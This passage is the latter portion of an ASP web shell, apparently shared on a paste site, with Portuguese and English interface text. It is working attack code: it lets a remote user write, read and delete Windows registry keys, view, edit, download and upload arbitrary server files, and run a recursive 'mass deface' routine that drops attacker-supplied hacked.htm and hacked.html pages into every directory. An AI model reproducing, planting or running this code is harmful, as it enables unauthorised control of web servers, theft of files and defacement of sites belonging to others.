  442.         Response.Write "<font face=""arial"" size=""2""><b>The Registry Editor:</b><br><br>"
  443.         Select Case Trim(Request.QueryString("regaction"))
  444.             Case "w"
  445.                 If Trim(Request.QueryString("process")) = "yes" Then
  446.                     Select Case Trim(Request.QueryString("type"))
  447.                         Case "1"
  448.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
  449.                         Case "2"
  450.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
  451.                         Case "3"
  452.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
  453.                         Case "4"
  454.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
  455.                         Case "5"
  456.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
  457.                     End Select
  458.                     Response.Write "<center><br><font face=""arial"" size=""2"" color='white'>Register <b>"
  459.                     Response.Write Trim(Request.QueryString("key")) & "</b> Writing</center>"
  460.                     Response.Write "<br><br><font face=""arial"" size=""1"" color='white'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
  461.                 Else
  462.                     Response.Write "<table><tr><td><font face=""arial"" size=""2"" color='white'>ROOT KEY NAME</td><td><font face=""arial"" size=""2"" color='white'>Abbreviation </td></tr>"
  463.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1"" color='white'> HKCU </td></tr>"
  464.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1"" color='white'> HKLM </td></tr>"
  465.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1"" color='white'> HKCR </td></tr>"
  466.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>HKEY_USERS </td><td><font face=""arial"" size=""1"" color='white'> HKEY_USERS </td></tr>"
  467.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1"" color='white'> HKEY_CURRENT_CONFIG </td></tr></table><br>"
  468.                     Response.Write "<table><tr><td><font face=""arial"" size=""2"" color='white'>Type </td><td><font face=""arial"" size=""2"">Description </td><td><font face=""arial"" size=""2"" color='white'> AS </td></tr>"
  469.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>REG_SZ </td><td><font face=""arial"" size=""1"" color='white'> string </td><td><font face=""arial"" size=""1"" color='white'> string </td></tr>"
  470.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>REG_DWORD </td><td><font face=""arial"" size=""1"" color='white'> number </td><td><font face=""arial"" size=""1"" color='white'> Integer </td></tr>"
  471.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>REG_BINARY </td><td><font face=""arial"" size=""1"" color='white'> binary value  </td><td><font face=""arial"" size=""1"" color='white'> VBArray of integers </td></tr>"
  472.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>REG_EXPAND_SZ </td><td><font face=""arial"" size=""1"" color='white'> string  (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1"" color='white'> string </td></tr>"
  473.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>REG_MULTI_SZ </td><td><font face=""arial"" size=""1"" color='white'> array of strings </td><td><font face=""arial"" size=""1"" color='white'> VBArray of strings </td></tr></table>"
  474.                     Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  475.                     Response.Write "<table><tr><td><font face=""arial"" size=""1"" color='white'>KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1"" color='white'><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
  476.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
  477.                     Response.Write "<tr><td><font face=""arial"" size=""1"" color='white'>TYPE:</td><td><SELECT NAME=""type"">"
  478.                     Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
  479.                     Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
  480.                     Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
  481.                     Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
  482.                     Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
  483.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
  484.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  485.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
  486.                     Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
  487.                     Response.Write "<br><br><font face=""arial"" size=""1"" color='white'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
  488.                 End If
  489.             Case "r"
  490.                 If Trim(Request.QueryString("process")) = "yes" Then
  491.                     Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
  492.                     Response.Write "value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
  493.                 Else
  494.                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  495.                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
  496.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
  497.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  498.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
  499.                     Response.Write "<input type=""submit"" value=""OK""></form>"
  500.                 End If
  501.                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
  502.             Case "d"
  503.                 If Trim(Request.QueryString("process")) = "yes" Then
  504.                     teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
  505.                     Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>deletada"
  506.                 Else
  507.                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  508.                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
  509.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
  510.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  511.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
  512.                     Response.Write "<input type=""submit"" value=""OK""></form>"
  513.                 End If
  514.                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
  515.             Case Else
  516.                 Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">KEY POST</a><br><br>"
  517.                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ KEY</a><br><br>"
  518.                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>"
  519.         End Select
  520.         Set WshShell = Nothing
  521.     Case "txtview"
  522.         checa = checking(cprthtml,keydec)
  523.         Call hdr()
  524.         Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
  525.         file = Replace(Trim(Request.QueryString("file")),"|","\")
  526.         Set fso = CreateObject("Scripting.FileSystemObject")  
  527.         Set a = fso.OpenTextFile(file)
  528.         Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
  529.         Set a = Nothing
  530.         Set fso = Nothing
  531.     Case "txtedit"
  532.         checa = checking(cprthtml,keydec)
  533.         Call hdr()
  534.         Response.Write copyright & onlinehelp
  535.         If Request.Form.Count = 0 Then
  536.             file = Replace(Trim(Request.QueryString("file")),"|","\")
  537.             Set fso = CreateObject("Scripting.FileSystemObject")
  538.             Set a = fso.OpenTextFile(file)
  539.             Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
  540.             Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
  541.             Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
  542.             Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
  543.             Set a = Nothing
  544.             Set fso = Nothing
  545.         Else
  546.             Select Case Trim(Request.Form("savemethod"))
  547.                 Case "Save"
  548.                     Set fso = CreateObject("Scripting.FileSystemObject")
  549.                     novotexto = Trim(Request.Form("content"))
  550.                     novotexto = Split(novotexto,vbCrLf)
  551.                     Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
  552.                     For i = 0 To UBound(novotexto)
  553.                         objstream.WriteLine(novotexto(i))
  554.                     Next
  555.                     objstream.Close
  556.                     Set objstream = Nothing
  557.                     Response.Write "Text Accepted: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
  558.                 Case "Save as"
  559.                     Set fso = CreateObject("Scripting.FileSystemObject")
  560.                     novotexto = Trim(Request.Form("content"))
  561.                     novotexto = Split(novotexto,vbCrLf)
  562.                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
  563.                     Set objstream = fso.CreateTextFile(caminho,true,false)
  564.                     For i = 0 To UBound(novotexto)
  565.                         objstream.WriteLine(novotexto(i))
  566.                     Next
  567.                     objstream.Close
  568.                     Set objstream = Nothing
  569.                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
  570.                     Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
  571.                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
  572.                     Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
  573.                 Case Else
  574.                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
  575.                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  576.                     Set MyFile = ObjFSO.GetFile(caminho)
  577.                     destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
  578.                     MyFile.Move (destino)
  579.                     If Err.Number = 0 Then
  580.                         Response.Write "<font face='arial' size='2' color='white'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
  581.                         Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  582.                     End If 
  583.             End Select
  584.         End If
  585.     Case "download"
  586.         Response.Buffer = True
  587.         Response.Clear
  588.         strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
  589.         strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
  590.         strFileType = Request.QueryString("type")
  591.         if strFileType = "" then strFileType = "application/download"
  592.         Set fso = Server.CreateObject("Scripting.FileSystemObject")
  593.         Set f = fso.GetFile(strFilename)
  594.         intFilelength = f.size
  595.         Set f = Nothing
  596.         Set fso = Nothing
  597.         Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
  598.         Response.AddHeader "Content-Length", intFilelength
  599.         Response.Charset = "UTF-8"
  600.         Response.ContentType = strFileType
  601.         Set Stream = Server.CreateObject("ADODB.Stream")
  602.         Stream.Open
  603.         Stream.type = 1
  604.         Stream.LoadFromFile strFileName
  605.         Response.BinaryWrite Stream.Read
  606.         Response.Flush
  607.         Stream.Close
  608.         Set Stream = Nothing
  609.     Case "upload"
  610.         If Request.QueryString("processupload") <> "yes" Then
  611.             Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
  612.             Response.Write "<TABLE BORDER=0>"
  613.             Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
  614.             Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
  615.             Response.Write "</TABLE>"
  616.         Else
  617.             Set Uploader = New FileUploader
  618.             Uploader.Upload()
  619.             If Uploader.Files.Count = 0 Then
  620.                 Response.Write "File(s) not uploaded."
  621.             Else
  622.                 For Each File In Uploader.Files.Items
  623.                     File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
  624.                     Response.Write "File Uploaded: " & File.FileName & "<br>"
  625.                     Response.Write "Size: " & File.FileSize & " bytes<br>"
  626.                     Response.Write "Type: " & File.ContentType & "<br><br>"
  627.                     Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  628.                 Next
  629.             End If
  630.         End If
  631.     Case "mass"
  632.         checa = checking(cprthtml,keydec)
  633.         Call hdr()
  634.         Response.Write copyright & onlinehelp
  635.         Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
  636.             On Error Resume Next
  637.             Set MonRep = ObjFSO.GetFolder(caminhodomass)
  638.             Set ColFolders = MonRep.SubFolders
  639.             for each folderItem in ColFolders
  640.                 destino1 = folderItem.path & "\hacked.htm"
  641.                 destino2 = folderItem.path & "\hacked.html"
  642.                 MeuArquivo.Copy(destino1)
  643.                 MeuArquivo.Copy(destino2)
  644.                 Response.Write "<table><tr><td><font face='arial' size='2' color='white'>&lt;DIR&gt; " & folderItem.path & "</td>"
  645.                 If Err.Number = 0 Then
  646.                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"
  647.                 Else
  648.                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
  649.                 End If
  650.                 Err.Number = 0
  651.                 Response.Flush
  652.                 If metodo = "brute" Then
  653.                     Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
  654.                 End If
  655.             next
  656.         End Sub
  657.         Sub brutemass(caminho,massaction)
  658.             If massaction = "test" Then
  659.                 On Error Resume Next
  660.                 Set MonRep = ObjFSO.GetFolder(caminho)
  661.                 Set ColFolders = MonRep.SubFolders
  662.                 Set ColFiles0 = MonRep.Files
  663.                 for each folderItem in ColFolders
  664.                     Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
  665.                     Set EachFolder = TotalFolders.SubFolders
  666.                     Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  667.                     maindestino = folderItem.path & "\"
  668.                     MeuArquivo.Copy(maindestino)
  669.                     Response.Write "<tr><td><b><font face='arial' size='2' color='white'>&lt;DIR&gt; " & maindestino & "</b></td>"
  670.                     If Err.Number = 0 Then
  671.                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Access Allowed</font></td></tr>"
  672.                     Else
  673.                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  674.                     End If
  675.                     Err.Number = 0
  676.                     Response.Flush
  677.                     If EachFolder.count > 0 Then
  678.                         masscontador = 0
  679.                         for each subpasta in EachFolder
  680.                             masscontador = masscontador + 1
  681.                             destino = subpasta.path & "\"
  682.                             If masscontador = 1 Then
  683.                                 destinofinal = destino
  684.                                 pathfinal = subpasta.path
  685.                                 Err.Number = 0
  686.                                 MeuArquivo.Copy(destinofinal)
  687.                                 Response.Write "<tr><td><font face='arial' size='2' color='white'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>"
  688.                                 If Err.Number = 0 Then
  689.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
  690.                                 Else
  691.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  692.                                 End If
  693.                                 Err.Number = 0
  694.                                 Response.Flush
  695.                             Else
  696.                                 MeuArquivo.Copy(destino)
  697.                                 Response.Write "<tr><td><font face='arial' size='2' color='white'>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>"
  698.                                 If Err.Number = 0 Then
  699.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
  700.                                 Else
  701.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  702.                                 End If
  703.                                 Err.Number = 0
  704.                                 Response.Flush
  705.                             End If
  706.                         next
  707.                         masscontador = 0
  708.                     End If
  709.                     Response.Write "</table><br>"
  710.                     Call brutemass(folderItem.path & "\","test")
  711.                 next
  712.                 Set MonRep = Nothing
  713.                 Set ColFolders = Nothing
  714.                 Set ColFiles0 = Nothing
  715.             Else
  716.                 If Request.Form.Count = 0 Then
  717.                     Response.Write "<font face=""arial"" size=""2""><br><br><b>Select any one option from below the text area to mass deface .</b><br><b>Brute:</b> copies the files to deface all the folders and subfolders (all levels) of the chosen directory (longer). The time to deface will vary with the total number of directories.<br><br>"
  718.                     Response.Write "<b>Single:</b> copy the files only to deface the folders (first level) directory chosen. Does not include subfolders.<br><br>"
  719.                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
  720.                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
  721.                     Response.Write "<center><font face=""arial"" size=""2"">Enter the code:<br>"
  722.                     Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
  723.                     Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
  724.                     Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
  725.                     Response.Write "<input type=""submit"" value=""Fuck The Site!""></center>"
  726.                     Response.Write "</form>"
  727.                 Else
  728.                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  729.                     patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  730.                     arquivomassdfc = patharquivotxt & "teste.txt"
  731.                     Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
  732.                     vetordelinhas = Split(Request.Form("content"),VbCrLf)
  733.                     For i = 0 To UBound(vetordelinhas)
  734.                         Arquivotxt.WriteLine(vetordelinhas(i))
  735.                     Next
  736.                     Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
  737.                    
  738.                     If Request.Form("massopt") = "single" Then
  739.                         Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
  740.                     ElseIf Request.Form("massopt") = "brute" Then
  741.                         Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
  742.                     End If
  743.                 End If
  744.             End If
  745.         End Sub
  746.         If Trim(Request.QueryString("massact")) = "test" Then
  747.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  748.             patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  749.             arquivo = patharquivotxt & "_vti_cnf.log"
  750.             Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
  751.             Set MeuArquivo = ObjFSO.GetFile(arquivo)
  752.             Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
  753.         ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
  754.             Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
  755.         End If
  756.     Case Else
  757.         checa = checking(cprthtml,keydec)
  758.         Call hdr()
  759.         Response.Write copyright & onlinehelp
  760.         Call showcontent()
  761. End Select
  762. If Err.Number <> 0 Then
  763.     Response.Write "<br><font face='arial' size='2' color='white'>ERROR: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Access the <b>ONLINE HELP</b> for the explanation of error"
  764. End If
  765. Response.Write endcode
  766. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement